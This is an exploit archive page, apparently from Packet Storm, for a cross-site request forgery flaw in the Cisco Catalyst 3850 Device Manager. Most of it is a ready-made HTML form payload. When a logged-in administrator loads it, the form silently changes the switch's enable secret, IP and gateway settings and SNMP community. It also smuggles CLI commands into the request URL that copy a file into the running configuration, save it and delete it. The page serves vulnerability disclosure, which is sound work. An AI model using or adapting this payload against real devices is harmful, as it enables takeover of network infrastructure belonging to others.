what you don't know can hurt you

Cisco Catalyst 3850 Series Device Manager 3.6.10E Cross Site Request Forgery

Cisco Catalyst 3850 Series Device Manager 3.6.10E Cross Site Request Forgery
Posted Aug 1, 2019
Authored by Alperen Soydan

Cisco Catalyst 3850 Series Device Manager version 3.6.10E suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
systems | cisco
MD5 | bf640f52455eebc617b1932da2a81ef2

Cisco Catalyst 3850 Series Device Manager 3.6.10E Cross Site Request Forgery

Change Mirror Download
# Product : Catalyst 3850 Series Device Manager
# Version : 3.6.10E
# Date: 01.08.2019
# Vendor Homepage: https://www.cisco.com
# Exploit Author: Alperen Soydan
# Description : The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to verify
the requests. This can be exploited to perform certain actions with
administrative privileges if a logged-in user visits a malicious web site.
@special thx:Haki B├╝lent Sever
# Tested On : Win10 & KaliLinux


Change Switch Password CSRF @Catalyst 3850 Series Device Manager
note : You must edit the values written by "place"
___________________________________________________________

<html>
<body>
<form
action="http://IP/%24moreField%20%0A%24a%20%24b1%0A%24c1%0A%24c2%0Awrite%20memory%0A"
method="POST">
<input type="hidden" name="SNMP_STATUS" value="SNMP+agent+enabled%0D%0A" />
<input type="hidden" name="send" value="nsback.htm" />
<input type="hidden" name="SNMP_READCOMM_DEFVAL" value="ELVIS" />
<input type="hidden" name="SNMP_CONTACT_DEFVAL" value="Network+Support+Group" />
<input type="hidden" name="SNMP_LOCATION_DEFVAL" value="TEST2" />
<input type="hidden" name="text_ipAddress0" value="place first octet" />
<input type="hidden" name="text_ipAddress1" value="place second octet" />
<input type="hidden" name="text_ipAddress2" value="place third octet" />
<input type="hidden" name="text_ipAddress3" value="place fourth octet" />
<input type="hidden" name="list_subnetMask" value="place subnet mask ip" />
<input type="hidden" name="text_ipDefaultGateway0" value="place gw ip first octet" />
<input type="hidden" name="text_ipDefaultGateway1" value="place gw ip second octet" />
<input type="hidden" name="text_ipDefaultGateway2" value="place gw ip third octet" />
<input type="hidden" name="text_ipDefaultGateway3" value="palce gw ip fourth octet" />
<input type="hidden" name="text_enableSecret" value="KEY" />
<input type="hidden" name="text_confirmEnableSecret" value="KEY" />
<input type="hidden" name="text_sysName" value="SW_TEST" />
<input type="hidden" name="list_date" value="19" />
<input type="hidden" name="list_month" value="Jul" />
<input type="hidden" name="list_year" value="2019" />
<input type="hidden" name="list_hour" value="10" />
<input type="hidden" name="list_minute" value="20" />
<input type="hidden" name="list_period" value="AM" />
<input type="hidden" name="list_timezone" value="C" />
<input type="hidden" name="radio_telnetAccess" value="disable" />
<input type="hidden" name="radio_snmpStatus" value="enable" />
<input type="hidden" name="text_snmpReadComm" value="ELVIS" />
<input type="hidden" name="text_sysContact" value="Network+Support+Group" />
<input type="hidden" name="text_sysLocation" value="TEST2" />
<input type="hidden" name="list_ipv6_interface" value="Vlan500" />
<input type="hidden" name="list_prefix" value="64" />
<input type="hidden" name="moreField" value="more flash:/html/more.txt" />
<input type="hidden" name="a" value="cluster pref file e.cli" />
<input type="hidden" name="z" value="cluster pref file append e.cli" />
<input type="hidden" name="b1" value="!enable secret KEY!ip http authentication enable!end" />
<input type="hidden" name="c1" value="copy e.cli running-config" />
<input type="hidden" name="c2" value="delete /force e.cli" />
<input type="submit" value="submit form" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    8 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close